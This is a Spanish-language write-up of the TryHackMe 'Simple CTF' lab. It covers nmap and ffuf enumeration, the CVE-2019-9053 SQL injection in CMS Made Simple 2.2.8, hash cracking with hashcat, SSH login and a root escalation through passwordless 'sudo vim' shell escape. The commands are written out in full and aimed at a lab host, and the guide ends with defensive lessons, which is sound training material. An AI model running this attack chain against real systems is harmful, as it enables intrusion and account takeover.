
Tutorial profesional del CTF Simple de TryHackMe que cubre enumeración, inyección SQL en CMS Made Simple (CVE-2019-9053), recuperación de credenciales, acceso SSH, escalada de privilegios mediante Vim y compromiso de root.
Guía profesional del laboratorio Simple CTF de TryHackMe que cubre enumeración, inyección SQL en CMS Made Simple (CVE-2019-9053), recuperación de credenciales, acceso por SSH, escalada de privilegios mediante Vim y compromiso total del sistema root.
Una guía completa del laboratorio Simple CTF en TryHackMe, que cubre reconocimiento, enumeración, explotación, recuperación de credenciales, escalada de privilegios y captura de banderas.
| Campo | Valor |
|---|---|
| Plataforma | TryHackMe |
| Nombre | Simple CTF |
| Dificultad | Fácil |
| Categoría | Explotación Web y Escalada de Privilegios en Linux |
| Autor | Saahil Gupta (ImperialX1104) |
El objetivo de este laboratorio es:
Descubrimiento del Host
│
▼
Enumeración de Puertos
│
▼
Enumeración de Directorios
│
▼
Descubrimiento del CMS
│
▼
Identificación de Versión
│
▼
Inyección SQL (CVE-2019-9053)
│
▼
Extracción de Credenciales
│
▼
Fuerza Bruta de Contraseñas
│
▼
Acceso por SSH
│
▼
Bandera de Usuario
│
▼
Escalada de Privilegios
│
▼
Bandera de Root
El primer paso fue verificar la conectividad con la máquina objetivo.
ping 10.49.175.174
El host respondió correctamente, confirmando que era accesible.

Se realizó un escaneo exhaustivo con Nmap para identificar los servicios expuestos.
nmap -A -v 10.49.175.174
| Puerto | Servicio | Versión |
|---|---|---|
| 21 | FTP | vsftpd 3.0.3 |
| 80 | HTTP | Apache 2.4.18 |
| 2222 | SSH | OpenSSH 7.2p2 |

Al navegar al servidor web objetivo se mostró la página de inicio predeterminada de Apache.
http://10.49.175.174

En esta etapa no era visible ninguna superficie de ataque obvia.
Para identificar recursos ocultos, se realizó fuerza bruta de directorios con FFUF.
ffuf -u http://10.49.175.174/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-fc 200
simple [Status: 301]

Se descubrió un directorio llamado /simple.
Al navegar al directorio descubierto se reveló una instalación de CMS.
http://10.49.175.174/simple

CMS Made Simple 2.2.8
El número de versión resultaría crítico más adelante.
La versión del CMS se investigó con SearchSploit.
searchsploit "CMS Made Simple"
CMS Made Simple < 2.2.10 - SQL Injection

Se identificó una vulnerabilidad conocida de inyección SQL.
El exploit se copió localmente para su análisis y ejecución.
searchsploit -m 46635
CMS Made Simple < 2.2.10 - SQL Injection
CVE-2019-9053

El exploit disponible públicamente se ejecutó contra la instancia del CMS objetivo.
python3 exploit.py \
-u http://10.49.175.174/simple/ \
--crack \
-w /usr/share/wordlists/rockyou.txt
El exploit extrajo exitosamente información de la base de datos del backend.
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: [email protected]

| Elemento | Valor |
|---|---|
| Usuario | mitch |
| [email protected] | |
| Salt | 1dac0d92e9fa6bb2 |
El hash extraído se crackeó con Hashcat.
hashcat -m 20 hash.txt --show
0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2:secret
| Campo | Valor |
|---|---|
| Usuario | mitch |
| Contraseña | secret |

Las credenciales recuperadas se probaron contra el servicio SSH.
ssh [email protected] -p 2222
secret
Welcome to Ubuntu 16.04.6 LTS

La autenticación exitosa proporcionó acceso a la shell como usuario mitch.
Después de obtener acceso, la bandera de usuario se localizó en el directorio personal de Mitch.
whoami
cd ~
cat user.txt
G00d j0b, keep up!

Al verificar los permisos de sudo se reveló una configuración interesante.
sudo -l
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim

Esta configuración permite al usuario ejecutar Vim con privilegios de root sin proporcionar una contraseña.
Ejecutando Vim como root:
sudo vim
Debido a que Vim se ejecutaba con privilegios elevados, podía usarse para acceder a archivos propiedad de root.

La bandera de root se localizó en el directorio del usuario root.
:! cat /root/root.txt
W3ll d0n3. You made it!

G00d j0b, keep up!
W3ll d0n3. You made it!
Escaneo con Nmap
↓
Enumeración Web
↓
Descubrimiento de Directorios (/simple)
↓
CMS Made Simple 2.2.8
↓
Investigación con SearchSploit
↓
Inyección SQL CVE-2019-9053
↓
Extracción de Credenciales
↓
Fuerza Bruta del Hash
↓
Inicio de Sesión SSH (mitch:secret)
↓
Bandera de Usuario
↓
sudo -l
↓
Escalada de Privilegios con Vim
↓
Bandera de Root
El CMS vulnerable no era visible en la página principal y requirió enumeración de directorios para descubrirlo.
Conocer la versión exacta del CMS condujo directamente a una vulnerabilidad conocida.
Las credenciales recuperadas siempre deben probarse contra todos los servicios disponibles.
Permitir la ejecución privilegiada de editores como Vim puede conducir al compromiso total del sistema.
Este laboratorio demostró una cadena de ataque completa, desde la enumeración inicial hasta el compromiso total del sistema root. Al combinar enumeración de aplicaciones web, explotación de inyección SQL, fuerza bruta de contraseñas y técnicas de escalada de privilegios en Linux, se logró el control total del sistema objetivo.
El laboratorio sirve como una excelente introducción a la metodología real de pruebas de penetración y resalta la importancia de aplicar parches de software adecuados, la seguridad de las credenciales y los controles de acceso de mínimo privilegio.
Saahil Gupta (ImperialX1104)
⭐ Si te resultó útil este writeup, considera dar una estrella al repositorio y conectar conmigo en GitHub.